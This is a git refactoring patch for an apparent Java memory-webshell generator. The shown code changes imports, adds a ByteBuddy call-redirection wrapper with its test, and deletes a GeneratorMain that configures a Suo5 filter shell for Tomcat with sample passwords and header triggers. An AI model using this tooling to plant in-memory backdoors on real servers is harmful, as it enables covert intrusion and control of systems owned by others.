From 5084a0b850632a2d093da062ef6e9e3338dd1b52 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 22 Feb 2025 17:15:59 +0800 Subject: [PATCH] refactor: simplify memshell generate map register --- .../boot/controller/ConfigController.java | 8 +- .../boot/controller/GeneratorController.java | 2 +- .../javaweb/boot/dto/GenerateRequest.java | 2 +- .../MethodCallReplaceVisitorWrapper.java | 53 ++ .../buddy/MethodSubstitutionExample.java | 76 --- .../MethodCallReplaceVisitorWrapperTest.java | 62 ++ generator/build.gradle | 21 +- .../com/reajason/javaweb/GeneratorMain.java | 81 --- .../javaweb/memshell/AbstractShell.java | 107 --- .../javaweb/memshell/ApusicShell.java | 77 --- .../reajason/javaweb/memshell/BesShell.java | 88 --- .../javaweb/memshell/GeneratorMain.java | 118 ++++ .../javaweb/memshell/GlassFishShell.java | 104 --- .../javaweb/memshell/InforSuiteShell.java | 104 --- .../reajason/javaweb/memshell/JbossShell.java | 92 --- .../reajason/javaweb/memshell/JettyShell.java | 100 --- .../memshell/{packer => }/Packers.java | 8 +- .../reajason/javaweb/memshell/ResinShell.java | 88 --- .../javaweb/memshell/{config => }/Server.java | 4 +- .../memshell/{config => }/ShellTool.java | 2 +- .../{config/Constants.java => ShellType.java} | 7 +- .../javaweb/memshell/SpringWebFluxShell.java | 57 -- .../javaweb/memshell/SpringWebMvcShell.java | 87 --- .../javaweb/memshell/TomcatShell.java | 119 ---- .../javaweb/memshell/TongWeb6Shell.java | 100 --- .../javaweb/memshell/TongWeb7Shell.java | 100 --- .../javaweb/memshell/UndertowShell.java | 100 --- .../javaweb/memshell/WebLogicShell.java | 88 --- .../javaweb/memshell/WebSphereShell.java | 88 --- .../javaweb/memshell/XxlJobShell.java | 31 - .../javaweb/memshell/config/ShellConfig.java | 4 +- .../memshell/config/ShellToolConfig.java | 2 - .../memshell/generator/AntSwordGenerator.java | 16 +- .../memshell/generator/BehinderGenerator.java | 16 +- .../memshell/generator/CommandGenerator.java | 12 +- .../memshell/generator/GodzillaGenerator.java | 20 +- .../memshell/generator/ListenerGenerator.java | 62 ++ .../memshell/generator/Suo5Generator.java | 14 +- .../memshell/packer/AggregatePacker.java | 1 + .../memshell/packer/bsh/BeanShellPacker.java | 2 +- .../deserialize/hessian/Hessian2Packer.java | 6 - .../javaweb/memshell/packer/el/ELPacker.java | 2 +- .../packer/freemarker/FreemarkerPacker.java | 2 +- .../memshell/packer/groovy/GroovyPacker.java | 2 +- .../memshell/packer/jexl/JEXLPacker.java | 2 +- .../packer/jinjava/JinJavaPacker.java | 2 +- .../memshell/packer/jxpath/JXPathPacker.java | 2 +- .../memshell/packer/mvel/MVELPacker.java | 2 +- .../memshell/packer/ognl/OGNLPacker.java | 2 +- .../memshell/packer/rhino/RhinoPacker.java | 2 +- .../packer/spel/SpELScriptEnginePacker.java | 2 +- .../packer/velocity/VelocityPacker.java | 2 +- .../memshell/server/AbstractShell.java | 62 ++ .../javaweb/memshell/server/ApusicShell.java | 72 +++ .../javaweb/memshell/server/BesShell.java | 82 +++ .../memshell/server/GlassFishShell.java | 125 ++++ .../memshell/server/InforSuiteShell.java | 104 +++ .../memshell/server/InjectorMapping.java | 29 + .../javaweb/memshell/server/JbossShell.java | 84 +++ .../javaweb/memshell/server/JettyShell.java | 114 ++++ .../javaweb/memshell/server/ResinShell.java | 89 +++ .../memshell/server/ServerToolRegistry.java | 12 + .../memshell/server/SpringWebFluxShell.java | 58 ++ .../memshell/server/SpringWebMvcShell.java | 85 +++ .../javaweb/memshell/server/TomcatShell.java | 133 ++++ .../memshell/server/TongWeb6Shell.java | 101 +++ .../memshell/server/TongWeb7Shell.java | 100 +++ .../javaweb/memshell/server/ToolMapping.java | 37 ++ .../memshell/server/UndertowShell.java | 120 ++++ .../memshell/server/WebLogicShell.java | 79 +++ .../memshell/server/WebSphereShell.java | 90 +++ .../javaweb/memshell/server/XxlJobShell.java | 30 + .../javaweb/memshell/utils/CommonUtil.java | 45 +- .../memshell/utils/ShellCommonUtil.java | 29 + .../generator/GodzillaGeneratorTest.java | 5 +- .../memshell/packer/spel/SpELPackerTest.java | 27 - .../tomcat/command/CommandFilterTest.java | 8 +- .../tomcat/godzilla/GodzillaTest.java | 8 +- .../integration/ShellAssertionTool.java | 13 +- .../glassfish/GlassFish3ContainerTest.java | 80 +-- .../glassfish/GlassFish4ContainerTest.java | 84 +-- .../glassfish/GlassFish501ContainerTest.java | 84 +-- .../glassfish/GlassFish510ContainerTest.java | 108 ++-- .../glassfish/GlassFish6ContainerTest.java | 68 +- .../glassfish/GlassFish7ContainerTest.java | 44 +- .../jbossas/Jboss423ContainerTest.java | 84 +-- .../jbossas/Jboss510ContainerTest.java | 68 +- .../jbossas/Jboss610ContainerTest.java | 84 +-- .../jbossas/Jboss711ContainerTest.java | 54 +- .../jbosseap/JbossEap6ContainerTest.java | 54 +- .../jbosseap/JbossEap7ContainerTest.java | 70 +- .../jetty/Jetty10ContainerTest.java | 58 +- .../jetty/Jetty11ContainerTest.java | 58 +- .../jetty/Jetty61ContainerTest.java | 68 +- .../jetty/Jetty76ContainerTest.java | 70 +- .../jetty/Jetty81ContainerTest.java | 70 +- .../jetty/Jetty92ContainerTest.java | 70 +- .../jetty/Jetty93ContainerTest.java | 70 +- .../jetty/Jetty94ContainerTest.java | 70 +- .../payara/Payara5201ContainerTest.java | 114 ++-- .../payara/Payara520225ContainerTest.java | 84 +-- .../payara/Payara620222ContainerTest.java | 68 +- .../resin/Resin3116ContainerTest.java | 70 +- .../resin/Resin318ContainerTest.java | 70 +- .../resin/Resin4058ContainerTest.java | 70 +- .../resin/Resin4067ContainerTest.java | 70 +- .../springmvc/SpringBoot2ContainerTest.java | 8 +- .../SpringBoot2WarContainerTest.java | 8 +- .../springmvc/SpringBoot3ContainerTest.java | 8 +- .../SpringBoot2WebFluxContainerTest.java | 8 +- .../SpringBoot3WebFluxContainerTest.java | 8 +- .../tomcat/Tomcat10ContainerTest.java | 116 ++-- .../tomcat/Tomcat11ContainerTest.java | 52 +- .../tomcat/Tomcat11JRE21ContainerTest.java | 52 +- .../tomcat/Tomcat5ContainerTest.java | 128 ++-- .../tomcat/Tomcat6ContainerTest.java | 104 +-- .../tomcat/Tomcat7ContainerTest.java | 104 +-- .../tomcat/Tomcat8ContainerTest.java | 144 ++--- .../Tomcat8DeserializeContainerTest.java | 22 +- .../Tomcat8ExpressionContainerTest.java | 34 +- .../tomcat/Tomcat9ContainerTest.java | 104 +-- .../weblogic/WebLogic1036ContainerTest.java | 36 +- .../weblogic/WebLogic12214ContainerTest.java | 40 +- .../weblogic/WebLogic14110ContainerTest.java | 40 +- .../websphere/WebSphere855ContainerTest.java | 40 +- .../websphere/WebSphere905ContainerTest.java | 40 +- .../websphere7/WebSphere700ContainerTest.java | 40 +- .../wildfly/Wildfly18ContainerTest.java | 40 +- .../wildfly/Wildfly23ContainerTest.java | 40 +- .../wildfly/Wildfly30ContainerTest.java | 34 +- .../wildfly/Wildfly9ContainerTest.java | 70 +- .../xxljob/XxlJob220ContainerTest.java | 8 +- .../xxljob/XxlJob230ContainerTest.java | 8 +- .../command/CommandServletAdvisor.java | 36 ++ .../apusic/behinder/BehinderListener.java | 117 ---- .../glassfish/antsword/AntSwordListener.java | 103 --- .../glassfish/behinder/BehinderListener.java | 127 ---- .../glassfish/command/CommandListener.java | 80 --- .../glassfish/godzilla/GodzillaListener.java | 153 ----- .../memshell/glassfish/suo5/Suo5Listener.java | 608 ------------------ .../jetty/antsword/AntSwordListener.java | 98 --- .../jetty/behinder/BehinderListener.java | 121 ---- .../jetty/command/CommandListener.java | 74 --- .../jetty/godzilla/GodzillaListener.java | 148 ----- .../memshell/jetty/suo5/Suo5Listener.java | 603 ----------------- .../resin/antsword/AntSwordListener.java | 94 --- .../resin/behinder/BehinderListener.java | 117 ---- .../resin/command/CommandListener.java | 70 -- .../resin/godzilla/GodzillaListener.java | 144 ----- .../memshell/resin/suo5/Suo5Listener.java | 599 ----------------- .../antsword/AntSwordListener.java | 4 +- .../behinder/BehinderListener.java | 6 +- .../command/CommandListener.java | 4 +- .../command/CommandWebSocket.java | 2 +- .../godzilla/GodzillaListener.java | 8 +- .../suo5/Suo5Listener.java | 4 +- .../tomcat/antsword/AntSwordListener.java | 105 --- .../tomcat/behinder/BehinderListener.java | 121 ---- .../tomcat/command/CommandListener.java | 74 --- .../tomcat/godzilla/GodzillaListener.java | 148 ----- .../memshell/tomcat/suo5/Suo5Listener.java | 603 ----------------- .../undertow/antsword/AntSwordListener.java | 102 --- .../undertow/behinder/BehinderListener.java | 124 ---- .../undertow/command/CommandListener.java | 78 --- .../undertow/godzilla/GodzillaListener.java | 152 ----- .../memshell/undertow/suo5/Suo5Listener.java | 607 ----------------- .../weblogic/antsword/AntSwordListener.java | 99 --- .../weblogic/behinder/BehinderListener.java | 121 ---- .../weblogic/command/CommandListener.java | 74 --- .../weblogic/command/CommandWebSocket.java | 49 -- .../weblogic/godzilla/GodzillaListener.java | 148 ----- .../memshell/weblogic/suo5/Suo5Listener.java | 604 ----------------- .../websphere/antsword/AntSwordListener.java | 92 --- .../websphere/command/CommandListener.java | 68 -- .../websphere/godzilla/GodzillaListener.java | 142 ---- .../memshell/websphere/suo5/Suo5Listener.java | 597 ----------------- vul/vul-springboot2/build.gradle | 2 +- 177 files changed, 3761 insertions(+), 10859 deletions(-) create mode 100644 common/src/main/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapper.java delete mode 100644 common/src/main/java/com/reajason/javaweb/buddy/MethodSubstitutionExample.java create mode 100644 common/src/test/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapperTest.java delete mode 100644 generator/src/main/java/com/reajason/javaweb/GeneratorMain.java delete mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java delete mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/ApusicShell.java delete mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/BesShell.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/GeneratorMain.java delete mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java delete mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/InforSuiteShell.java delete mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java delete mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java rename generator/src/main/java/com/reajason/javaweb/memshell/{packer => }/Packers.java (94%) delete mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java rename generator/src/main/java/com/reajason/javaweb/memshell/{config => }/Server.java (95%) rename generator/src/main/java/com/reajason/javaweb/memshell/{config => }/ShellTool.java (87%) rename generator/src/main/java/com/reajason/javaweb/memshell/{config/Constants.java => ShellType.java} (80%) delete mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/SpringWebFluxShell.java delete mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/SpringWebMvcShell.java delete mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java delete mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/TongWeb6Shell.java delete mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/TongWeb7Shell.java delete mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java delete mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java delete mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java delete mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/XxlJobShell.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/server/AbstractShell.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/server/ApusicShell.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/server/InjectorMapping.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/server/ServerToolRegistry.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebFluxShell.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebMvcShell.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb6Shell.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb7Shell.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/server/ToolMapping.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogicShell.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphereShell.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/server/XxlJobShell.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java delete mode 100644 generator/src/test/java/com/reajason/javaweb/memshell/packer/spel/SpELPackerTest.java create mode 100644 memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/command/CommandServletAdvisor.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/apusic/behinder/BehinderListener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/antsword/AntSwordListener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/command/CommandListener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/godzilla/GodzillaListener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/suo5/Suo5Listener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/jetty/antsword/AntSwordListener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderListener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/jetty/command/CommandListener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/jetty/godzilla/GodzillaListener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/jetty/suo5/Suo5Listener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/resin/antsword/AntSwordListener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/resin/behinder/BehinderListener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/resin/command/CommandListener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/resin/godzilla/GodzillaListener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/resin/suo5/Suo5Listener.java rename memshell/src/main/java/com/reajason/javaweb/memshell/{apusic => shelltool}/antsword/AntSwordListener.java (95%) rename memshell/src/main/java/com/reajason/javaweb/memshell/{websphere => shelltool}/behinder/BehinderListener.java (95%) rename memshell/src/main/java/com/reajason/javaweb/memshell/{apusic => shelltool}/command/CommandListener.java (93%) rename memshell/src/main/java/com/reajason/javaweb/memshell/{tomcat => shelltool}/command/CommandWebSocket.java (96%) rename memshell/src/main/java/com/reajason/javaweb/memshell/{apusic => shelltool}/godzilla/GodzillaListener.java (95%) rename memshell/src/main/java/com/reajason/javaweb/memshell/{apusic => shelltool}/suo5/Suo5Listener.java (99%) delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/antsword/AntSwordListener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/BehinderListener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandListener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaListener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/suo5/Suo5Listener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/undertow/antsword/AntSwordListener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderListener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/undertow/command/CommandListener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/undertow/godzilla/GodzillaListener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/undertow/suo5/Suo5Listener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/antsword/AntSwordListener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/behinder/BehinderListener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandListener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandWebSocket.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/godzilla/GodzillaListener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/suo5/Suo5Listener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/websphere/antsword/AntSwordListener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/websphere/command/CommandListener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/websphere/godzilla/GodzillaListener.java delete mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/websphere/suo5/Suo5Listener.java diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java index 2079537c..fe9ca783 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.boot.controller; import com.reajason.javaweb.boot.entity.Config; -import com.reajason.javaweb.memshell.AbstractShell; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.AbstractShell; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.RequestMapping; diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java index 9d582507..d9ad72ae 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.boot.controller; -import com.reajason.javaweb.GeneratorMain; +import com.reajason.javaweb.memshell.GeneratorMain; import com.reajason.javaweb.boot.dto.GenerateRequest; import com.reajason.javaweb.boot.dto.GenerateResponse; import com.reajason.javaweb.memshell.config.GenerateResult; diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java index a0963f50..d9bd53de 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.boot.dto; import com.reajason.javaweb.memshell.config.*; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.Packers; import lombok.Data; /** diff --git a/common/src/main/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapper.java b/common/src/main/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapper.java new file mode 100644 index 00000000..64fc3ad1 --- /dev/null +++ b/common/src/main/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapper.java @@ -0,0 +1,53 @@ +package com.reajason.javaweb.buddy; + +import net.bytebuddy.asm.AsmVisitorWrapper; +import net.bytebuddy.description.method.MethodDescription; +import net.bytebuddy.description.type.TypeDescription; +import net.bytebuddy.implementation.Implementation; +import net.bytebuddy.jar.asm.MethodVisitor; +import net.bytebuddy.jar.asm.Opcodes; +import net.bytebuddy.pool.TypePool; +import org.jetbrains.annotations.NotNull; + +import java.util.Set; +import java.util.stream.Collectors; + +/** + * @author ReaJason + */ +public class MethodCallReplaceVisitorWrapper implements AsmVisitorWrapper.ForDeclaredMethods.MethodVisitorWrapper { + + private final String targetClassName; + private final Set replaceClassNames; + + public MethodCallReplaceVisitorWrapper(String targetClassName, Set replaceClassNames) { + this.targetClassName = targetClassName.replace(".", "/"); + this.replaceClassNames = replaceClassNames.stream().map(s -> s.replace(".", "/")).collect(Collectors.toSet()); + } + + @NotNull + @Override + public MethodVisitor wrap(@NotNull TypeDescription instrumentedType, + @NotNull MethodDescription instrumentedMethod, + @NotNull MethodVisitor methodVisitor, + @NotNull Implementation.Context implementationContext, + @NotNull TypePool typePool, + int writerFlags, + int readerFlags) { + return new MethodVisitor(Opcodes.ASM9, methodVisitor) { + @Override + public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) { + if (opcode == Opcodes.INVOKESTATIC + && replaceClassNames.contains(owner)) { + super.visitMethodInsn(Opcodes.INVOKESTATIC, + targetClassName, + name, + descriptor, + false); + } else { + super.visitMethodInsn(opcode, owner, name, descriptor, isInterface); + } + } + }; + } +} \ No newline at end of file diff --git a/common/src/main/java/com/reajason/javaweb/buddy/MethodSubstitutionExample.java b/common/src/main/java/com/reajason/javaweb/buddy/MethodSubstitutionExample.java deleted file mode 100644 index c7c321d2..00000000 --- a/common/src/main/java/com/reajason/javaweb/buddy/MethodSubstitutionExample.java +++ /dev/null @@ -1,76 +0,0 @@ -package com.reajason.javaweb.buddy; - -import net.bytebuddy.ByteBuddy; -import net.bytebuddy.asm.AsmVisitorWrapper; -import net.bytebuddy.dynamic.DynamicType; -import net.bytebuddy.jar.asm.MethodVisitor; -import net.bytebuddy.jar.asm.Opcodes; - -import java.nio.file.Files; -import java.nio.file.Paths; - -import static net.bytebuddy.matcher.ElementMatchers.named; - -public class MethodSubstitutionExample { - - - public static class MethodReplacementMethodVisitor extends MethodVisitor { - private final String targetClassName; - - public MethodReplacementMethodVisitor(MethodVisitor mv, String targetClassName) { - super(Opcodes.ASM9, mv); - this.targetClassName = targetClassName; - } - - @Override - public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) { - if (opcode == Opcodes.INVOKESTATIC - && owner.endsWith("ExternalClass") - && name.equals("replacementMethod")) { - super.visitMethodInsn(Opcodes.INVOKESTATIC, - targetClassName.replace(".", "/"), - name, - descriptor, - false); - } else { - super.visitMethodInsn(opcode, owner, name, descriptor, isInterface); - } - } - } - - public static class ExternalClass { - public static String externalMethod(String input) { - return "External: " + input; - } - - public static String replacementMethod(String input) { - return "Replaced: " + input; - } - } - - public static class TargetClass { - public String targetMethod(String input) { - System.out.println("targetMethod"); - return ExternalClass.replacementMethod(input); - } - - public static String replacementMethod(String input) { - return "Replaced: " + input; - } - } - - public static void main(String[] args) throws Exception { - String oldClassName = TargetClass.class.getName(); - String newClassName = oldClassName + "Redefinition"; - - DynamicType.Unloaded dynamicType = new ByteBuddy() - .redefine(TargetClass.class) - .name(newClassName) - .visit(new AsmVisitorWrapper.ForDeclaredMethods().method(named("targetMethod"), (typeDescription, methodDescription, methodVisitor, context, typePool, i, i1) -> new MethodReplacementMethodVisitor(methodVisitor, newClassName))) - .make(); - - Files.write(Paths.get("xixi.class"), dynamicType.getBytes()); - Class redefinedClass = dynamicType.load(MethodSubstitutionExample.class.getClassLoader()) - .getLoaded(); - } -} diff --git a/common/src/test/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapperTest.java b/common/src/test/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapperTest.java new file mode 100644 index 00000000..08155c8c --- /dev/null +++ b/common/src/test/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapperTest.java @@ -0,0 +1,62 @@ +package com.reajason.javaweb.buddy; + +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.asm.AsmVisitorWrapper; +import net.bytebuddy.dynamic.DynamicType; +import org.junit.jupiter.api.Test; + +import java.util.Collections; + +import static net.bytebuddy.matcher.ElementMatchers.named; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2025/2/22 + */ +class MethodCallReplaceVisitorWrapperTest { + + public static class ExternalClass { + public static String externalMethod(String input) { + return "External: " + input; + } + + public static String replacementMethod(String input) { + return "Replaced: " + input; + } + } + + public static class TargetClass { + public String targetMethod(String input) { + System.out.println("targetMethod"); + return ExternalClass.replacementMethod(input); + } + + public static String replacementMethod(String input) { + return "Replaced: " + input; + } + } + + @Test + void test() throws Exception { + String newClassName = TargetClass.class.getName() + "Redefinition"; + DynamicType.Unloaded dynamicType = new ByteBuddy() + .redefine(TargetClass.class) + .name(newClassName) + .visit(new AsmVisitorWrapper + .ForDeclaredMethods() + .method(named("targetMethod"), + new MethodCallReplaceVisitorWrapper( + newClassName, + Collections.singleton(ExternalClass.class.getName()) + ) + ) + ) + .make(); + Class redefinedClass = dynamicType.load(MethodCallReplaceVisitorWrapperTest.class.getClassLoader()) + .getLoaded(); + Object object = redefinedClass.newInstance(); + Object result = object.getClass().getMethod("targetMethod", String.class).invoke(object, "xixi"); + assertEquals("Replaced: xixi", result); + } +} \ No newline at end of file diff --git a/generator/build.gradle b/generator/build.gradle index c18aeb84..f1dcdd81 100644 --- a/generator/build.gradle +++ b/generator/build.gradle @@ -4,8 +4,10 @@ plugins { java { toolchain { - languageVersion = JavaLanguageVersion.of(17) + languageVersion = JavaLanguageVersion.of(8) } + sourceCompatibility = JavaVersion.VERSION_1_8 + targetCompatibility = JavaVersion.VERSION_1_8 } group = 'com.reajason.javaweb.memsell' @@ -16,21 +18,6 @@ test { finalizedBy jacocoTestReport } -def runtimeJvmArgs = [ - '--add-opens=java.base/java.util=ALL-UNNAMED', - '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED', - '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED' -] - -tasks.withType(Test).configureEach { - jvmArgs += runtimeJvmArgs -} - -// For running the application -tasks.withType(JavaExec).configureEach { - jvmArgs += runtimeJvmArgs -} - dependencies { implementation project(":common") implementation project(":deserialize") @@ -42,7 +29,7 @@ dependencies { implementation 'javax.websocket:javax.websocket-api' implementation 'jakarta.servlet:jakarta.servlet-api' - implementation 'xalan:xalan' +// implementation 'xalan:xalan' implementation 'org.apache.bcel:bcel' implementation 'commons-io:commons-io' diff --git a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java deleted file mode 100644 index cdbf2ea5..00000000 --- a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java +++ /dev/null @@ -1,81 +0,0 @@ -package com.reajason.javaweb; - -import com.reajason.javaweb.memshell.AbstractShell; -import com.reajason.javaweb.memshell.config.*; -import com.reajason.javaweb.memshell.packer.Packers; -import com.reajason.javaweb.memshell.utils.CommonUtil; -import lombok.SneakyThrows; -import net.bytebuddy.jar.asm.Opcodes; -import org.apache.commons.codec.binary.Base64; -import org.apache.commons.lang3.StringUtils; - -import java.io.IOException; - -/** - * @author ReaJason - * @since 2024/11/24 - */ -public class GeneratorMain { - - public static void main(String[] args) throws IOException { - ShellConfig shellConfig = ShellConfig.builder() - .server(Server.Tomcat) - .shellTool(ShellTool.Suo5) - .shellType(Constants.FILTER) - .targetJreVersion(Opcodes.V1_8) - .debug(true) - .build(); - GodzillaConfig godzillaConfig = GodzillaConfig.builder() - .pass("pass") - .key("key") - .headerName("User-Agent") - .headerValue("test123").build(); - CommandConfig commandConfig = CommandConfig.builder().paramName("listener").build(); - - BehinderConfig behinderConfig = BehinderConfig.builder() - .pass("test123") - .headerName("User-Agent") - .headerValue("test").build(); - - Suo5Config suo5Config = Suo5Config.builder() - .headerName("User-Agent") - .headerValue("test").build(); - - InjectorConfig injectorConfig = new InjectorConfig(); - - GenerateResult generateResult = generate(shellConfig, injectorConfig, suo5Config); - if (generateResult != null) { -// Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW); -// Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW); -// System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes())); - System.out.println(Packers.ScriptEngine.getInstance().pack(generateResult)); -// Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult)); - } - } - - public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) { - Server server = shellConfig.getServer(); - AbstractShell shell = server.getShell(); - if (shell == null) { - throw new IllegalArgumentException("Unsupported server"); - } - if (StringUtils.isBlank(shellToolConfig.getShellClassName())) { - shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType())); - } - - if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) { - injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName()); - } - - return shell.generate(shellConfig, injectorConfig, 